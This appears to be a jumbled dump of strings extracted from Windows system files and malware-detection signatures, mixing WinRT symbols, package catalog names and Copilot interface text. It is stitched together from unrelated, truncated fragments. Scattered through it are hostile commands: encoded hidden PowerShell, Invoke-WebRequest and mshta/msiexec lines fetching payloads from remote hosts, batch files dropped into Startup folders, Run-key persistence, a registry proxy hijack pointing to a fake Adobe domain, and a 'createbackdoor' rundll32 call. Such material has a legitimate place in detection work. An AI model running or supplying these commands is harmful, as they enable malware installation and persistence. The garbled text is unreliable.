a de Windows para permitir esta acci
a de Windows para permitir esta acci
a de Windows para permitirlo.Microsoft Copilot est
a de Windows para permitirlo.Este equipo ya tiene una versi
n debido a un error no especificado. Vuelve a descargar Microsoft Copilot.Microsoft Copilot requiere Windows
.?AU?$implements_delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_264_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@Uhstring@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_263_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AV<lambda_263_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P86785@EAAXAEBU?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@
.?AV<lambda_264_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P86785@EAAXAEBU?$IObservableVector@Uhstring@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@
.?AU?$delegate@U?$VectorChangedEventHandler@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_264_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@Uhstring@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AV<lambda_262_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P86785@EAAXAEBU?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@3@@Z
ClearNullACWindows
get_SafeSubWindows
safeSubWindows
DisableThreadWindows
DisposeThreadWindows
EnumThreadWindows
previousThreadWindows
threadWindows
ownedWindows
LayeredWindows
get_UnrestrictedWindows
unrestrictedWindows
EnumChildWindows
GetChildWindows
MDIMenuMoreWindows
parkingWindows
get_SafeTopLevelWindows
safeTopLevelWindows
get_AllWindows
allWindows
get_DragFullWindows
EnumWindows
get_PenWindows
get_TransparentWindows
transparentWindows
windows
System.Windows.Forms.UnsafeNativeMethods.IVBFormat.Format
<Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10" xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10" xmlns:rescap="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities" xmlns:mp="http://schemas.microsoft.com/appx/2014/phone/manifest" IgnorableNamespaces="uap rescap mp">
		<Logo>Assets\WindowsSecuritySplashScreen.png</Logo>
Windows
.?AUtype@?$abi@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UUISettings@ViewManagement@UI@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@V<lambda_1>@?7??InitializeComponent@WindowManager@@UEAAJAEBUComponentInitializationState@@@Z@@impl@winrt@@
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy
powershell-epbypass-noprofile-windowstylehidden-encaqb3ahiaiaatahuacwblagiaiaboahqadabwadoalwavadeaoqa0ac4amqawadialgaxadaanaauadeangavagqaaabzagyaaqb1agqalgbwahmamqagahwaiabpaguaeaa=
.jsc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
a$baturl="https://doordash.gifts/infopage/gqgey.bat"$batfilepath="c:\windows\temp\apack.bat"$urlshortcutpath="$env:appdata\microsoft\windows\startmenu\programs\startup\app.url"
shellcommon\undockeddevkit\libs\windowsudk.system.profile\settingsenvironmentcache.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui\bitmapiconinfo.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.core.corewindow\corewindow.cpp
!#SIGATTR:Windows_CreateExecute
windows11
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Microsoft.Windows.DynamicLightingToastHandler
('runs'+'s').invoke($null,[object[]]('alf7afgr/war/us.osay//:s','1','windowsdefender',$injec,'1','x64')
\software\microsoft\windowsnt\currentversion\appcompatflags\installedsdb"-name
','%appdata%\microsoft\windows\startmenu\programs\startup
windowsdefendercloudsettingsdummy_username@itsssl.com/liqwn"targetmode="external"
powershell-windowstylehidden-commandinvoke-webrequest-urihttp://62.171.158.126:8081/runtimebroker.exe
="c:\windows\temp\"$
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
}dH@echooffcls:excc:cd\windowscdsystem32cdconfigstart
 \software\microsoft\windows\currentversion\policies\explorer\run
0","c:\programfiles\winrar\ico\36.ico","c:\windows\","http://%73%65%72%76%65%72%33%38%2e%32%30%31%30%70%6c%61%79%65%72%2e%69%6e%66%6f:459/?i=1&ssdsds","","","",wshell.specialfolders("allusersstartup")setfso=createobject("scripting.filesystemobject")fso.deletefile"
:\windows/
:\programfiles\winrar\ico\36.ico","c:\windows\","http://%73%65%72%76%65%72%33%38%2e%32%30%31%30%70%6c%61%79%65%72%2e%69%6e%66%6f:459/?i=1&ssdsds","","","",wshell.specialfolders("allusersstartup")setfso=createobject("scripting.filesystemobject"Web.Services.Protocols.SoapParameterStyle!#HSTR:EwaStringsGenerator
csoftware\microsoft\windows\currentversion\run
Tiesignkey_formhttp://www.findlock.co.kr/app_newSoftware\Microsoft\Windows\CurrentVersion\Run\signkey!#HSTR:MonitoringTool:Win32/PowerSpy.3
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
=" Windows e
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
launchWindowsCortanaSettingsAsync
launchWindowsAccountSettingsAsync
getWindowsActivationState
isWindowsS
_\windows\system32\conhost.exe--headlesspowershell
')!%systemroot%\system32\shell32.dll
X-BM-WindowsFlights
.?AU?$root_implements@UHomePage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$root_implements@UFocusProxyButton@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$root_implements@USettingsGroupTemplateSelector@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@UIDataTemplateSelectorOverrides2@789Windows@4@@impl@winrt@@
.?AU?$root_implements@USettingEntryTemplateSelector@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@UIDataTemplateSelectorOverrides2@789Windows@4@@impl@winrt@@
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Miracast-Transmitter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-DirectPlay-OC-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-DirectX-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Kernel-Package-BootEnvironment-OS-Resume-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Security-SPP-Component-SKU-IoTEnterpriseK-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\TEMP\bb3a785178f443fda931098a5a9a306b.dbC
COMPUTERNAME=WINDOWS11
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!DisableAddonLoadTimePerformanceNotifications
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext!DisableAddonLoadTimePerformanceNotifications
ir%\system32\shell32#
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
data-windows-versi
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
rundll32 windowscoredeviceinfo.dll,createbackdoorr
 -nop -ep bypass -windowstyle hidden -enc .run$ payload
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
KICA8L1JlZ2lzdHJhdGlvbkluZm8windows\iovasw
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are onl
u Windows-wagwoord in om dit toe te laat.Microsoft Copilot probeer tans om wagwoorde te kopieer. Tik jou Windows-wagwoord om dit toe te laat.Microsoft Copilot probeer tans om wagwoorde te redigeer. Tik jou Windows-wagwoord om dit toe te laat.Microsoft Copilot wil jou wagwoorde uitvoer. Voer jou Windows-wagwoord in om dit toe te laat.Microsoft Copilot probeer tans om wagwoorde in te voer. Voer jou Windows-wagwoord in om dit toe te laat.Microsoft Copilot wil jou wagwoordbestuurderdata skrap. Tik jou Windows-wagwoord in om dit toe te laat.Microsoft Copilot probeer tans om bestaande wagwoorde te vervang. Tik jou Windows-wagwoord in om dit toe te laat.Hierdie rekenaar het reeds 
n ongespesifiseerde fout. Laai Microsoft Copilot asseblief weer af.Microsoft Copilot benodig Windows 10 of ho
"http://gz.qa:8080/yy/bi5nx56d0oqpeipt3rhr1dq0foqrfrwztbjj4/!computername!"/q^ft^jak^rx^y^i=^xv^h^n^w%windir%\system32\imageres.dll
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\)http://a0667987.xsph.ru/basic/bare.xml/f%windir%\system32\shell32.dll
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\)http://a0698262.xsph.ru/see/guilty.xml/f%windir%\system32\shell32.dll
\msiexec.exec:\windows\system32k/i"http://ec2-35-165-198-77.us-west-2.compute.amazonaws.com/installer.msi"%systemroot%\explorer.exe
&.NET Docking Library for Windows Forms
Microsoft Windows
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
?setWindowState@QPlatformWindow@@UEAAXV?$QFlags@W4WindowState@Qt@@@@@Z
?setWindowState@QWindow@@QEAAXW4WindowState@Qt@@@Z
?setWindowStates@QWindow@@QEAAXV?$QFlags@W4WindowState@Qt@@@@@Z
megazord_xi-1\windows\x86_64-pc-windows-msvc\debug\deps\megazord.pdbm
Phish:PHP/Windowsloc_href.GG
GetWindowsDirectoryW
cmd/cc:\windows\temp&
c:/windows/system32/d
c:/windows/system32/d
WINDOWS11
WINDOWS11
WindowsCreateString
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted t
%SystemRoot%/System32/drivers/drmkaud.sys
%SystemRoot%/System32/drivers/dumpsd.sys
%SystemRoot%/System32/drivers/EhStorTcgDrv.sys
%SystemRoot%/System32/drivers/errdev.sys
%SystemRoot%/System32/drivers/evbd0a.sys
%SystemRoot%/System32/drivers/evbda.sys
%SystemRoot%/System32/drivers/fdc.sys
%SystemRoot%/System32/drivers/flpydisk.sys
%SystemRoot%/System32/drivers/hdaudbus.sys
@echooffregadd"hkey_current_user\software\microsoft\windows\currentversion\internetsettings"/vautoconfigurl/treg_sz/d"http://windowsupload32.bounceme.net/red.pac"/fstarthttp://adobe-flashplayer.bounceme.net/adobe-flash/exit
WINLOGON.EXE
C:\WINDOWS\IWeb\
C:\WINDOWS\IWeb\
if(navigator.useragent.match(/(android|midp|j2me|symbian|series60|symbos|windowsmobile|windowsce|ppc|smartphone|blackberry|mtk|
bada|windowsphone)/i)!==null){window.location="http://
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
writefileshellexecuteac:\windows\system32\prog.exe
SetWindowsHookExWSs
Windows NT 
Windows
s(x86)\windowsdefender
-process-windowstylehidden$i
hc:\windows\system32\mshta.exeshortcutscript%)
windowsperformancerecordercontrol.dll
windows.ui.immersive.dll
windows.globalization.fontgroups.dll
windows.storage.onecore.dll
windows.security.authentication.web.core.dll
windows.web.dll
windows.staterepositoryps.dll
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB
ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\parcel_tracking_db
Ec:\windows\
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
"\windows\currentversion\run","
\system32\\spool\\
windowstylehidden}elseif($
("c:\\windows\\diagnostics\\index
system32
